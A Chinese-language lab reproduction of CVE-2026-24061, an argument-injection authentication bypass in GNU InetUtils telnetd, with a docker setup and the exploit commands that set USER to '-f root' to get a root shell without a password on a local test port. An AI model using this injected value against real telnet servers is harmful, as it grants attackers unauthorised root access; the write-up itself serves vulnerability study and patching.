GNU InetUtils telnetd 参数注入认证绕过漏洞复现(CVE-2026-24061)

GNU InetUtils(GNU Network Utilities)是 GNU 项目开发的一个开源网络工具集合,旨在提供一套符合 POSIX 和 GNU 标准的传统网络管理、通信及测试的基础命令行工具和服务器端守护进程。其核心组件包括 pingtelnetftphostnameifconfig 等。

主要特点与功能:

  • 核心工具: 包含 ftp/ftpd(文件传输)、telnet/telnetd(远程登录)、rlogin/rsh/rcp(远程 shell/复制)、ping(网络测试)等。
  • 兼容性: 致力于在不同类 Unix 系统中提供一致的网络工具体验。
  • 服务守护进程: 其中的 telnetdftpd 通常通过 inetdxinetd 超级服务进行托管。

安全提示(CVE-2026-24061): 近期,GNU InetUtils 的 telnetd 服务组件(版本 1.9.3 至 2.7)被发现存在重大远程认证绕过漏洞。攻击者可利用该漏洞在未授权的情况下获取服务器 root 权限,影响包括 Debian 12 和 Ubuntu 24.04 等主流发行版,建议及时更新。

GNU InetUtils 1.9.3 至 2.7 版本的 telnetd 服务器存在远程认证绕过漏洞(CVE-2026-24061)。telnetd 服务器在将 USER 环境变量传递给 login(1) 程序之前未进行过滤。攻击者可以提供类似 -froot 的 USER 值来触发 login 程序的认证绕过功能(-f 参数),无需凭据即可获得 root 访问权限。

该漏洞属于参数注入漏洞(CWE-88),CVSS v3.1 评分为 9.8(严重)

参考链接:

漏洞环境

编译并启动漏洞环境:

docker compose up -d

image-20260210170758386

服务启动后,telnetd 将在 2323 端口监听。

漏洞复现

该漏洞允许通过向 USER 环境变量注入 -f 参数来绕过认证。当 telnetd 接收到以 -f 开头的用户名时,它会将此传递给 login 程序,login 程序会将 -f 解释为跳过认证的参数。

使用以下命令利用此漏洞获取 root 权限:

# Linux 客户端(需要 -a 选项)
USER="-f root" telnet -a 127.0.0.1 2323

# macOS 客户端(不需要 -a 选项)
USER="-f root" telnet 127.0.0.1 2323

成功利用后,您将无需提供任何密码即可获得 root shell 访问权限。

image-20260210171154151